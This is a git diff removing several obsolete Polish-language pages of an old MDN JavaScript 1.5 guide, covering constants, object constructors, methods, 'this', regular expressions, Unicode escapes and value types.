diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/sta\305\202e/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/sta\305\202e/index.html" deleted file mode 100644 index 2629bdaafc..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/sta\305\202e/index.html" +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Stałe -slug: Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Stałe -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Grammar_and_types -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Constants ---- -

 

-

Stałe

-

Możesz utworzyć stałą (nazwaną i tylko do odczytu) za pomocą słowa kluczowego const. Składnia identyfikatora stałej jest taka sama, jak dla identyfikatora zmiennej: musi zaczynać się literą lub znakiem podkreślenia i obejmować znaki alfabetu lub cyfry.

-
const prefix = '212';
-

Stałe nie mogą podczas wykonywania skryptu zmieniać swojej wartości, ani być ponownie deklarowane.

-

Reguły zasięgu dotyczące stałych są takie same jak dla zmiennych, z wyjątkiem tego, że słowo kluczowe const jest wymagane zawsze, nawet dla stałych globalnych. W przypadku braku słowa kluczowego przyjmuje się, że identyfikator oznacza zmienną.

-

Nie można deklarować stałych o nazwie identycznej z nazwą zmiennej występującej w zasięgu tej samej funkcji. Na przykład:

-
//TO SPOWODUJE BŁĄD
-function f{};
-const f = 5;
-
-//TO RÓWNIEŻ SPOWODUJE BŁĄD
-function f{
-const g=5;
-var g;
-
-//instrukcje
-}
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Zmienne", "Przewodnik po języku JavaScript 1.5:Literały") }}

-

{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Constants", "es": "es/Gu\u00eda_JavaScript_1.5/Constantes", "fr": "fr/Guide_JavaScript_1.5/Constantes", "ja": "ja/Core_JavaScript_1.5_Guide/Constants", "ko": "ko/Core_JavaScript_1.5_Guide/Constants" } ) }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/definiowanie_metod/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/definiowanie_metod/index.html" deleted file mode 100644 index 64b164df13..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/definiowanie_metod/index.html" +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Definiowanie metod -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_metod -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Definiowanie metod

-

Funkcja - - method - jest funkcją łączącą z obiektem. Definiujesz metodę w ten sam sposób jak definiujesz standardową funkcje. Użyj następującej składni do połączenia funkcji z istniejącym obiektem:

-
object.methodname = function_name
-
-

gdzie: object jest to istniejący obiekt, methodname jest nazwą przydzielonej metody i function_name jest nazwą funkcji.

-

Możesz nazwać metodę w kontekście obiektu jako następujące:

-
object.methodname(params);
-
-

Możesz definiować metody dla typów obiektu włączając do tego definiowanie metody w funkcji konstruktora obiektowego. Na przykład, możesz zdefiniować funkcję która będzie formatowała i wyświetlała własności poprzednio-definiowanych obiektów car, na przykład:

-
function displayCar() {
-   var result = "A Beautiful " + this.year + " " + this.make
-      + " " + this.model;
-   pretty_print(result);
-}
-
-

gdzie: pretty_print jest funkcją wyświetlającą wg poziomej reguły i łańcuch znaków. Uwaga przy użyciu this odnoszącego się do obiektu, do której metody należą.

-

Tworzymy funkcję metody car, poprzez dodanie instrukcji:

-
this.displayCar = displayCar;
-
-

Do definicji obiektu. Więc, pełna definicja car będzie wyglądała jak

-
function car(make, model, year, owner) {
-   this.make = make;
-   this.model = model;
-   this.year = year;
-   this.owner = owner;
-   this.displayCar = displayCar;
-}
-
-

Teraz możemy nazwać metodę displayCar dla każdego następującego kodu:

-
car1.displayCar()
-car2.displayCar()
-
-

Efektem będzie produkcja wyjściowa następującego przykładu.

-

Grafika:Obja.gif
- Przykład: Wyświetlanie metody po jej wykonaniu

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/definiowanie_w\305\202asno\305\233ci_typu_obiektu/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/definiowanie_w\305\202asno\305\233ci_typu_obiektu/index.html" deleted file mode 100644 index e52ead3f93..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/definiowanie_w\305\202asno\305\233ci_typu_obiektu/index.html" +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Definiowanie własności typu obiektu -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Definiowanie_własności_typu_obiektu -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Definiowanie własności typu obiektu

-

Dodaj własność do poprzednio zdefiniowanego typu obiektu stosując własności prototype. Zdefiniuje te własności, które współdzielą wszystkie obiekty określonego typu, raczej niż tylko jeden przypadek obiektu. Następnie dodajemy kod własności color do wszystkich obiektów typu car i potem przydziela wartość do własności color obiektu car1.

-
Car.prototype.color=null;
-car1.color="black";
-
-

Zobacz własności prototype z funkcji obiektu w dokumentacji języka JavaScript, aby uzyskać dodatkowe informacje.

-
-  
-

 

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/indeksowanie_w\305\202asno\305\233ci_obiektu/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/indeksowanie_w\305\202asno\305\233ci_obiektu/index.html" deleted file mode 100644 index c7d904e907..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/indeksowanie_w\305\202asno\305\233ci_obiektu/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Indeksowanie własności obiektu -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Indeksowanie_własności_obiektu -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Indeksowanie własności obiektu

-

W JavaScripcie 1.0 możesz odwołać się do własności obiektu poprzez nazwę własności lub jej indeks porządkowy. Jednakże w JavaScripcie 1.1 i późniejszych, jeśli zdefiniujesz początkowo własność poprzez jej nazwę, musisz zawsze odwoływać się do niej poprzez nazwę, zaś jeśli zdefiniujesz własność poprzez indeks, musisz zawsze odwoływać się do niej poprzez ten indeks.

-

Dotyczy to sytuacji, gdy tworzysz obiekt i jego własności poprzez funkcję konstruktora, tak jak w powyższym przykładzie obiektu typu Auto oraz gdy definiujesz samodzielnie własności w sposób jawny (na przykład mojeAuto.kolor = "czerwony"). Dlatego jeśli definiujesz początkowo własności obiektu z indeksem, tak jak mojeAuto{{ mediawiki.external(5) }} = "25 mpg", możesz później odwołać się do własności poprzez myCar{{ mediawiki.external(5) }}.

-

Wyjątkiem od tej reguły są obiekty zaczerpnięte z języka HTML, jak na przykład tablica forms. Możesz zawsze odwoływać się do obiektów w tych tablicach zarówno poprzez ich liczbę porządkową (w zależności od tego, w jakiej kolejności pojawiają się w dokumencie) lub poprzez ich nazwę (jeśli jest zdefiniowana). Przykładowo, jeśli drugi znacznik <FORM> w dokumencie posiada atrybut NAME o wartości "mojFormularz", możesz się odwołać do formularza przez document.forms{{ mediawiki.external(1) }} lub document.forms{{ mediawiki.external('\"mojFormularz\"') }} lub też document.mojFormularz. {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów:Zastosowanie konstruktorów funkcji", "Przewodnik po języku JavaScript 1.5:Tworzenie nowych obiektów:Definiowanie własności typu obiektu") }}

-
-  
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/index.html" deleted file mode 100644 index 44ccf12523..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Tworzenie nowych obiektów -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Tworzenie nowych obiektów

-

JavaScript ma liczbę obiektów predefiniowanych. W dodatku, możesz tworzyć swoje własne obiekty. W JavaScript 1.2 i późniejszych wersjach, możesz tworzyć obiekt używając inicjatora obiektu. Alternatywą, jest pierwszy tworzony konstruktor funkcji i następna instancja używanego obiektu funkcji i operatora new.

- diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/usuwanie_w\305\202asno\305\233ci/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/usuwanie_w\305\202asno\305\233ci/index.html" deleted file mode 100644 index ade0f3875e..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/usuwanie_w\305\202asno\305\233ci/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Usuwanie własności -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Usuwanie_własności -tags: - - JavaScript - - Wszystkie_kategorie ---- -

 

-

Usuwanie właściwości

-

Możesz usunąć właściwość używając operatora delete Poniższy kod pokazuje jak usunąć właściwość.

-
//Tworzymy nową własność, myobj, z właściwościami a i b.
-myobj = new Object;
-myobj.a=5;
-myobj.b=12;
-
-//Usuwamy właściwość, opuszczając myobj z właściwością tylko b.
-delete myobj.a;
-
-

Możesz także użyć delete do usunięcia globalnych zmiennych jeśli słowo kluczowe var nie było użyte do zadeklarowania zmiennej:

-
g = 17;
-delete g;
-
-

Zobacz delete aby uzyskać więcej informacji.

-
-  
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/u\305\274ywanie_inicjacji_obiektu/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/u\305\274ywanie_inicjacji_obiektu/index.html" deleted file mode 100644 index b1b38112d9..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/u\305\274ywanie_inicjacji_obiektu/index.html" +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Używanie inicjacji obiektu -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Używanie_inicjacji_obiektu -tags: - - JavaScript - - Przewodnik_JavaScript - - Strony_wymagające_dopracowania - - Wszystkie_kategorie ---- -

Zastosowanie inicjacji obiektu

- -

Uzupełnieniem możliwości tworzenia obiektów poprzez konstruktora funkcji, jest inicjator obiektów. Używanie inicjatora obiektów jest czasami wiązane z tworzeniem obiektów poprzez oznaczanie literowe. "Inicjator obiektu" jest nazwą zaczerpniętą ze standardów języka C++.

- -

Składnia tworząca obiekt, używając inicjatora obiektu jest następująca:

- -
objectName = {własność1:wartość2, własność2:wartość2,..., własnośćN:wartośćN}
-
- -

gdzie objectName jest nazwą obiektu, każda własność jest identyfikatorem (nazwą, liczbą lub ciągiem znaków) a każda wartość jest wyrażeniem, którego wartość jest przypisana do własności. objectName jak i przypisanie są opcjonalne. Jeśli w pozostałej części kodu nie potrzebujesz odwoływać się do tego obiektu, nie musisz go przypisywać do zmiennej.

- -

Jeśli obiekt został utworzony z użyciem inicjatora obiektu w głównym skrypcie, JavaScript interpretuje go za każdym razem, gdy ten przetwarza wyrażenie zawierające literał obiektu. Dodatkowo, inicjator użyty w funkcji, jest tworzony przy każdym jej wywołaniu.

- -

Poniższa instrukcja tworzy obiekt i przypisuje go do zmiennej x, tylko w przypadku, gdy warunek jest prawdziwy.

- -
if (warunek) x = {a:"witaj"}
-
- -

Poniższy przykład tworzy obiekt mojaHonda z trzema własnościami. Należy zwrócić uwagę, iż silnik jest również obiektem z jego własnymi własnościami.

- -
mojaHonda = {kolor:"czerwony", koła:4, silnik:{ilośćCylindrów:4, objętość:2.2}}
-
- -

Inicjatorów możesz użyć również do tworzenia tablic. Zobacz literały tablic.

- -

JavaScript 1.1 i wcześniejsze. Nie możesz używać inicjatorów obiektów. Możesz tworzyć obiekty tylko używając ich konstruktorów lub funkcji udostępnianych przez inne obiekty w tym celu. Zobacz Zastosowanie konstruktorów funkcji.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/zastosowanie_'this'_do_obiektu_referencji/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/zastosowanie_'this'_do_obiektu_referencji/index.html" deleted file mode 100644 index 2b4ad01835..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/zastosowanie_'this'_do_obiektu_referencji/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Zastosowanie 'this' do obiektu referencji -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_'this'_do_obiektu_referencji -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Zastosowanie this do obiektu referencji

-

JavaScript posiada specjalne słowo kluczowe this, które możemy użyć wewnątrz metody wskazującej nam aktualny obiekt. Na przykład: przypuśćmy, że mamy funkcję nazywającą się validate, która waliduje wartość własności obiektów, nadając im wartość wyższą lub niższą:

-
function validate(obj, lowval, hival) {
-   if ((obj.value < lowval) || (obj.value > hival))
-      alert("Invalid Value!")
-}
-
-

Następnie, możesz nazwać/powiedzieć, że funkcja validate, w każdym elemencie formularza, onChange posiada uchwyt, którego używa do przejścia do określonego elementu formularza, jak w następującym przykładzie:

-
<INPUT TYPE="text" NAME="age" SIZE=3
-   onChange="validate(this, 18, 99)">
-
-

Generalnie, this jest referencją do nazwy obiektu w metodzie.

-

Kiedy połączymy właściwości form, this który potrafi się odwołać do bieżącego obiektu formularza będącego jego 'rodzicem'. W poniższym przykładzie, formularz myForm składa się z obiektu Text oraz przycisku. Kiedy użytkownik kliknie przycisk, wartość obiektu Text jest ustawiana do nazwy formularza. Przyciski wywołują uchwyt zdarzenia onClick poprzez zastosowanie this.form w celu wskazania formularza będącego 'rodzicem', myForm.

-
<FORM NAME="myForm">
-Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga">
-<P>
-<INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
-   onClick="this.form.text1.value=this.form.name">
-</FORM>
-
-
-  
diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/zastosowanie_konstruktor\303\263w_funkcji/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/zastosowanie_konstruktor\303\263w_funkcji/index.html" deleted file mode 100644 index 1c5d6cdbda..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/zastosowanie_konstruktor\303\263w_funkcji/index.html" +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Zastosowanie konstruktorów funkcji -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_nowych_obiektów/Zastosowanie_konstruktorów_funkcji -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Zastosowaniem konstruktorów funkcji

-

Alternatywnie, możesz utworzyć obiekt w dwóch krokach:

-
    -
  1. Zdefiniować typ obiektu poprzez napisanie konstruktora funkcji.
  2. -
  3. Utworzyć natychmiast nowy obiekt.
  4. -
-

Do zdefiniowania typu obiektu, tworzymy funkcję dla typu obiektu który określa nazwę, właściwości i metody. Na przykład, sądząc, że chcesz utworzyć typ obiektu dla samochodów. Chcesz ten typ obiektu nazwać car i chcesz posiadać właściwości do zrobienia make , model, year i color. Aby to zrobić, powinieneś napisać następującą funkcje:

-
function car(make, model, year) {
-   this.make = make;
-   this.model = model;
-   this.year = year;
-}
-
-

Uwaga, użycie this pozwala wartości własności obiektów opartych na wartościach pasujących do tej funkcji.

-

Teraz możesz utworzyć obiekt nazwany mycar w następującym kodzie:

-
mycar = new car("Eagle", "Talon TSi", 1993);
-
-

Instrukcja ta tworzy mycar i dopuszcza to do określonych wartości. Potem wartość mycar.make jest łańcuchem "Eagle", mycar.year jest liczba całkowita 1993, w ten sposób(?).

-

Utwórz jakis numer obiektu car nazywając new. Na przykład,

-
kenscar = new car("Nissan", "300ZX", 1992);
-vpgscar = new car("Mazda", "Miata", 1990);
-
-

obiekt posiada właściwość która sama w sobie posiada jeszcze jeden obiekt. Na przykład; przypuśćmy, że zdefiniujemy obiekt nazwany następująco person:

-
function person(name, age, sex) {
-   this.name = name
-   this.age = age
-   this.sex = sex
-}
-
-

i potem przypisze nowe obiekty person jako następujące:

-
rand = new person("Rand McKinnon", 33, "M");
-ken = new person("Ken Jones", 39, "M");
-
-

Potem znów zapisz definicję car włączając własne właściwości, które pobierają obiekt person, jak następująco:

-
function car(make, model, year, owner) {
-   this.make = make;
-   this.model = model;
-   this.year = year;
-   this.owner = owner
-}
-
-

Błyskawiczne nowe obiekty, następnie użyjesz:

-
car1 = new car("Eagle", "Talon TSi", 1993, rand);
-car2 = new car("Nissan", "300ZX", 1992, ken);
-
-

Uwaga, która zamiast przechodzić z wartości literału string lub integer kiedy są tworzone nowe obiekty, powyższe instrukcje dzieją się w obiektach rand i ken jako argumenty dla właściciela. Potem jeśli chcesz przekonać się do nazwy właściciela car2 , możesz zaakceptować następujące warunki:

-
car2.owner.name
-
-

Notuj wszystko co możesz zawsze dodać do poprzedniego zdefiniowanego obiektu. Na przykład, instrukcja

-
car1.color = "black"
-
-

dodawaj właściwości color do car1, i przydziel tą wartość "black." Jednakże, to nie wpływa na pozostałe obiekty. Dodaj nową właściwość do wszystkich obiektów tego samego typu, musisz mieć dodaną właściwość do definicji obiektu typu car.

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_wyra\305\274enia_regularnego/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_wyra\305\274enia_regularnego/index.html" deleted file mode 100644 index e6a76041a3..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_wyra\305\274enia_regularnego/index.html" +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Tworzenie wyrażenia regularnego -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Tworzenie_wyrażenia_regularnego -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie ---- -

 

-

Tworzenie wyrażenia regularnego

-

Wyrażenie regularne możemy skonstruować na jeden z dwóch sposobów:

- -
 re = /ab+c/; 
-
-
-
-
- Literały wyrażeń regularnych są kompilowane w czasie czytania skryptu ( - - script evaluation - ). Gdy wyrażenie regularne nie będzie się zmieniać, sposób ten zapewni lepszą wydajność.
-
-
-
- -
 re = new RegExp("ab+c"); 
-
-
-
-
- Użycie konstruktora powoduje kompilację wyrażenia regularnego w czasie wykonywania ( - - runtime - ). Użyj konstruktora, jeśli wiadomo, że wyrażenie regularne będzie się zmieniało lub, gdy nie będzie znane i zostanie podane z innego źródła, np. przez użytkownika.
-
-
-
-

{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory", "Przewodnik po języku JavaScript 1.5:Zapisywanie wzorca wyrażenia regularnego") }}

diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/unicode/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/unicode/index.html" deleted file mode 100644 index 2ab37e779b..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/unicode/index.html" +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Unicode -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Unicode -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Grammar_and_types -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Unicode ---- -

-

-

Unicode

-

Unicode jest uniwersalnym standardem kodowania znaków, dzięki któremu można wyświetlać znaki charakterystyczne dla różnych języków. Obejmuje języki Ameryki, Europy, Środkowego wschodu, Afryki, Indii, Azji i języki pacyficzne (ponadregionalne), ale również inne symbole historyczne czy techniczne. Unicode zamienia, konwertuje i wyświetla wielojęzyczne teksty, symbole techniczne i matematyczne a dzięki temu rozwiązuje wiele międzynarodowych problemów językowych w systemach obliczeniowych związanych ze standardami charakterystycznymi dla konkretnych narodów. Jednak nie wszystkie nowoczesne lub archaiczne języki są obecnie wspierane. -

Zestaw znaków Unicode może być używany praktycznie we wszystkich znanych typach kodowania. Unicode jest modelowany podobnie jak w zestawach znaków ASCII (Amerykański standardowy kod wymiany informacji). Używa opisu literowego i liczbowej wartości dla każdego kodowanego znaku. 16 bitowa wartość jest definiowana jako liczba w systemie szesnastkowym wraz z przedrostkiem U na przykład , U+0041 przedstawia A, a unikalna nazw dla tej wartości to LATIN CAPITAL LETTER A.

Nie jest wspierany w wersjach JavaScript wcześniejszych niż 1.3.

-

Unicode zgodny z ASCII i ISO

-

Unicode jest zgodny z kodami ASCII i jest wspierany przez wiele programów. Pierwsze 128 znaków Unicode odpowiadają kodom ASCII i mają tę samą wartość bajtu. W Unicode, przykładowo, znaki U+0020 i U+007E są równoważne w ASCII znakom 0x20 i 0x7E . Nieco inaczej jest w ASCII, który wspiera łaciński alfabet i używa siedmiobitowego zestawu znaków. Unicode używa szesnastobitowych wartości dla każdego znaku i uwzględnia dziesięć tysięcy znaków. Rozszerzony mechanizm UTF 16, uwzględnia kodowanie miliona znaków więcej, przez używanie 16 bitowych par.

Unicode jest w pełni zgodny z międzynarodowym standardowym ISO/IEC 10646 1; 1993 , który jest podzbiorem ISO 10646 i wspiera ISO Ucs 2, który używa dwu oktetów (dwóch bajtów albo 16 bitów).

JavaScript i Nawigator wspiera Unicode dzięki czemu można używać w JavaScript-ie niełacińskich, międzynarodowych i lokalnych znaków, oraz specjalistycznych symboli technicznych oraz pozwala kodować wielojęzyczny tekst. Odkąd Unicode jest zgodny z ASCII, programy mogą używać znaków ASCII. W komentarzach używać możemy znaków Unicode nie ASCII, literałów string, identyfikatorów i wcześniejszych wyrażeń, i wyrażeń regularnych JavaScript-u. -

-

Sekwencje ucieczki do Unicode

-

Możesz użyć sekwencje ucieczki do Unicode w literałach łańcuchowych, wyrażeniach regularnych i identyfikatorach. Sekwencja ucieczki sześciu znaków ASCII: \u i czterocyfrowa liczba heksadecymalna. Na przykład, \u00A9 reprezentuje symbol copyright. Każda sekwencja ucieczki Unicode w JavaScript-ie jest interpretowana jako jeden znak. -

Następujący kod zawiera symbol copyright i napis "Netscape Communications". -

-
x="\u00A9 Netscape Communications"
-

Następująca tabela jest listą często używanych specjalnych znaków i ich wartości Unicode.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
KategoriaWartość UnicodeNazwaNazwa formatowania
Białe spacje\u0009Tab<TAB>
 \u000BPionowy tabulator<VT>
 \u000CZ kanału<FF>
 \u0020Spacja<SP>
Linia kończąca wartość\u000ALine Feed<LF>
 \u000DPowrót karetki<CR>
Dodatkowe znaki ucieczki Unicode\u0008Backspace<BS>
 \u0009Poziomy tabulator<HT>
 \u0022Podwójny cudzysłów"
 \u0027Pojedynczy cudzysłów'
 \u005C Backslash\
-

Tabela: Wartości Unicode dla specjalnych czcionek -

JavaScript używa sekwencje znaku ucieczki Unicode i jest ona inna niż w Javie. W JavaScript-ie, sekwencja ucieczki nigdy nie interpretuje jako pierwsza znaków specjalnych. Przykładowo, znak końca linii sekwencji ucieczki nie zakańcza ciągu zanim nie jest on zinterpretowany przez funkcje. JavaScript ignoruje każdą sekwencje ucieczki, jeśli jest ona użyta w komentarzu. W Javie, jeśli sekwencja ucieczki używana jest w pojedynczej linii komentarza interpretowana jest wtedy jako znak Unicode. W ciągu literałów kompilator Javy interpretuje wpierw sekwencje ucieczki. Przykładowo, w przypadku użycia w Javie znaku końca linii (\u000A), zakańcza on literał ciągu. W Javie doprowadza to do wystąpienia błędu, ponieważ znaki końca linii nie są dozwolone w literałach ciągów. Musisz użyć \n do zakończenia linii w literałach. W JavaScript-ie sekwencja ucieczki działa tak samo jak \n. -

-
Program do konwersji długich ciągów znaków Hot-Tips' Unicode Converter, autorstwa Bob Foley.
-

Wyświetlanie czcionek z Unicode

-

Można używać Unicode do wyświetlania znaków w rożnych językach lub technicznych symboli. Dla poprawnego wyświetlania klient tj. Netscape Navigator 4.x lub Netscape 6 musi wspomagać Unicode. Dodatkowo odpowiednia czcionka Unicode musi być dostępna dla klienta, jak i platforma klienta musi wspomagać Unicode. Często zdarza się, że czcionki Unicode nie wyświetlają wszystkich znaków. Niektóre platformy tj. Windows 95 posiadają tylko częściowe wsparcie Unicode. -

W celu pobrania znaku typu non-ASCII klient musi go wysłać w kodzie Unicode. Używając standardowej rozszerzonej klawiatury klient nie może łatwo wyświetlić dodatkowych znaków wspieranych przez Unicode. Czasami jedynym sposobem na wyświetlenie znaków w kodzie Unicode jest użycie sekwencji ucieczki Unicode. -

Więcej informacji o Unicode, zobacz Unicode Consortium Web site i The Unicode Standard, Version 2.0, wydane przez Addison-Wesley, 1996. -

{{ PreviousNext("Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Litera%C5%82y#Litera.C5.82y_znakowe", "Przewodnik po języku JavaScript 1.5:Wyrażenia") }} -

-
-
-{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Unicode", "es": "es/Gu\u00eda_JavaScript_1.5/Unicode", "fr": "fr/Guide_JavaScript_1.5/Unicode", "ja": "ja/Core_JavaScript_1.5_Guide/Unicode", "ko": "ko/Core_JavaScript_1.5_Guide/Unicode" } ) }} diff --git "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/warto\305\233ci/index.html" "b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/warto\305\233ci/index.html" deleted file mode 100644 index 7ee3aa056c..0000000000 --- "a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/warto\305\233ci/index.html" +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Wartości -slug: >- - Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Wartości -tags: - - JavaScript - - Przewodnik_JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Guide/Grammar_and_types -translation_of_original: Web/JavaScript/Guide/Obsolete_Pages/Values ---- -

-

-

Wartości

-

JavaScript rozróżnia następujące typy: -

- -

Ten względnie niewielki zestaw typów wartości - lub typów danych - pozwala wyposażyć Twoją aplikację w wiele użytecznych funkcji. Nie występuje wyraźna różnica pomiędzy liczbami całkowitymi a wartościami rzeczywistymi, tak jak i w JavaScript nie ma w ogóle jawnego rozróżnienia typów danych. Możesz jednak, przykładowo, użyć obiektu Date oraz jego metod do obsługi dat. -

Obiekty i funkcje to inne podstawowe elementy języka. Obiekty można sobie wyobrazić jako nazwane pojemniki na wartości, a funkcje jako procedury, które są wykonywane przez Twoją aplikację. -

-

Konwersja typu danych

-

